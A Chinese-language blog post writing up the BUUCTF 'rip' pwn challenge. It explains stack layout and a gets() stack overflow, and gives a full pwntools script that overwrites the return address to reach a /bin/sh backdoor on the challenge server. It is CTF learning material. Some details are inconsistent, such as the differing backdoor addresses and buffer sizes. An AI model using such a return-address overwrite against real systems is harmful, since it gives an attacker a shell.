BUUCTF-pwn-rip(第一个栈溢出)

发布时间 2023-12-02 18:36:51作者: Junglezt

这两天在学习pwn,在ctf wiki学习了典型的栈溢出,参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

在做题目的时候发现buuctfripctf wiki的示例题目一样,考的都是gets()方法的不限制输入

首先,根据ctf wiki的描述,总结栈相关的知识:

  1. 栈在汇编代码中使用push入栈(销栈),使用pop出站(销栈),采用先进后出的概念
  • 可以理解为物理上在一个棍子上套圈,先套上去的后拿出来
  1. x86x64的区别:
  • x86的参数直接放在
  • x64的参数会放在RDI, RSI, RDX, RCX, R8 和 R9寄存器中,放不下的参数会放在栈中

什么是栈溢出

根据我的大白话就是一个杯子只能放这么多水,再往里面倒更多的水,就会溢出,栈溢出也属于缓冲器溢出。
缓冲区类似包括:

  • 栈溢出
  • 堆溢出
  • bss溢出

虽然不知道这些是什么,至少了解了这个概念。

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址
ctf wiki用一个很好的概念来理解的结构,如下

                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

从图中可以看出,s变量一共可以传入的字节大小为14,如果超过的话,多出的就会倒saved ebp中,根据我的查阅saved ebp保存的是栈帧,根据栈帧确定变量的返回值,x86saved ebp的大小为4个字节x64saved ebp的大小为8个字节,最后的retaddr就是溢出的部分,我们可以控制retaddr的值,将其修改为我们想要执行函数的内存地址。

  • EBP(帧指针):指向栈底,保存了调用函数时栈的基址。
  • saved EBP(保存的帧指针):一般用于和EBP配合使用,以便在函数调用结束后返回。
  • retaddr(返回地址):指向函数的返回地址。当函数执行完成后,程序会返回到这个地址

上述我们已经简单了解了缓冲区溢出,现在就可以对该题目进行解题了
下载该题目文件pwn1,使用filechecksec查看文件相关信息

这是一个x64位的ELF可执行文件,没有开任何防御机制,专门给我们练手的题目

使用ida打开分析main函数

gets()没有限制用户的输入,使用puts()进行输出

在仔细观察,有一个自定义fun()函数,其中的内容会执行/bin/sh获得shell,这就是改题目给我们留下的后门,我们需要通过获取靶机的shell,然后获取flag

现在我们的思路就是:
gets()方法溢出,返回的地址是fun()函数的地址执行fun()函数

  1. 双击s变量,查看该变量定义的大小。从0f,大小就是15也就是十六进制f

  2. 获取fun()函数的内存地址,这里为0x401186

  3. 编写exp
    编写思路如下:连接靶机端口,发送payload,获取靶机shell
    其中有一些细节,请看注释

# 导入 pwntools 模块
from pwn import *

# 和靶机进行连接 
r = remote("node4.buuoj.cn",26817)

# 定义fun函数的内存地址
fun_addr = 0x401187

# 定义payload,一共需要十六进制f(15)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据
# 最后加上p64函数转换的fun函数的地址
payload = (b"a" * 0xf) + (b"b" * 8) + p64(fun_addr)

# 发送payload
r.sendline(payload)

# 获取靶机交互式终端
r.interactive()

上述脚本一些重要的知识点解析:

  • 发送f(15)个字节数据a,是因为ebp的大小为15
  • 发送8个字节数据b,是因为saved ebp的大小位8(x64)位程序
  • 最后发送p64函数包裹的数据,是为了让程序认为这是一个内存地址,不然接受的就是字符0x401187

运行得到执行ls,cat flag得到flag

今天解决了做pwn第一道题目时候为什么手动输入地址是不行的概念,为什么需要再脚本中输入p64或者p32函数包裹,因为在计算机存储中,每个值按照字节进行存储。一般采用小端存储,就是上述的0x401187在内存中的表现形式就是

\x87\x11\x40

不能再终端输入的原因是,在终端输入\或者x会认为这是一个单独的字符,所以要想把\\x87\\x11\\x40这样的字符传入,就需要使用pwntools中带有的p64p32函数。